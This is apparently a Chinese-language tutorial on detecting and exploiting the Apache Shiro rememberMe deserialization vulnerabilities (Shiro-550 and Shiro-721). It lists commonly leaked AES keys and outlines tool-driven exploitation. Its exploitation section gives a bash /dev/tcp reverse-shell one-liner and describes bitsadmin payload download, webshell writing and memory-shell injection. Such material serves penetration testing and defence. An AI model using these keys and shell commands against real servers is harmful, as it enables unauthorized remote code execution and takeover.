Apache shiro 远程命令执行漏洞检测及利用

1. shiro介绍

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

认证-⽤用户身份识别,常被称为用户”登录”

授权-访问控制

密码加密-保护或隐藏数据防止被偷窥

会话管理-用户相关的时间敏感的状态

漏洞原

从官方的issue 上来看,存在几个重要的点:

rememberMe cookie

CookieRememberMeManager.java

Base64

AES

加密密钥硬编码

Java serialization

Shiro550:shiro≤1.2.4版本,默认使用了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从而引发反序列化漏洞。

常见的key如下:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)

2AvVhdsgUs0FSA3SDFAdag==

4AvVhmFLUs0KTA3Kprsdag==

3AvVhmFLUs0KTA3Kprsdag==

wGiHplamyXlVB11UXWol8g==

Z3VucwAAAAAAAAAAAAAAAA==

6ZmI6I2j5Y+R5aSn5ZOlAA==

ZUdsaGJuSmxibVI2ZHc9PQ==

1QWLxg+NYmxraMoxAXu/Iw==

有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进行遍历key(前提是正常登录得到一个rememberMe的值):

Shiro721:

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后制作rememberMe来进行反序列化攻击。

Tip:可以结合JRMP gadget使用,可以大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

3. 影响版本

小于等于1.2.4

4. 检测及利用

1.确定shiro


输入用户名密码。勾选Remember Me选项用burp抓包,然后重放一下。


发现回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)。说明可能存在漏洞。

2.确认是否存在漏洞

可以用工具扫描一下:

存在漏洞。

3.漏洞利用

方法一:

直接使用飞鸿工具检测利用:

填入检测的地址


使用相应探测类型

查看是否存在漏洞

看到+号就说明存在漏洞。检测可结束。

若存在漏洞,可执行命令执行,反弹shell及webshell。可自行学习,提供一下思路。

反弹shell(linux)采用bash -i >& /dev/tcp/IP/监听端口 0>&1的方式反弹 shell

反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell

获取Webshell 可以在能够回显的情况下直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取。

反弹shell:

填入监听地址及端口,执行fire

获取shell成功

方法二:

使用shiro反序列漏洞利用工具检测及利用

1.填入存在漏洞的地址,2.检测及爆破密钥3.检测及爆破利用链4.可命令执行


看到利用链及密钥说明存在漏洞。检测可结束。

后续深入研究自行学习:提供利用内存马执行获取webshell思路。

注入相应内存马:

使用相应webshell工具连接。

Webshell成功。

你可能感兴趣的:(Apache shiro 远程命令执行漏洞检测及利用)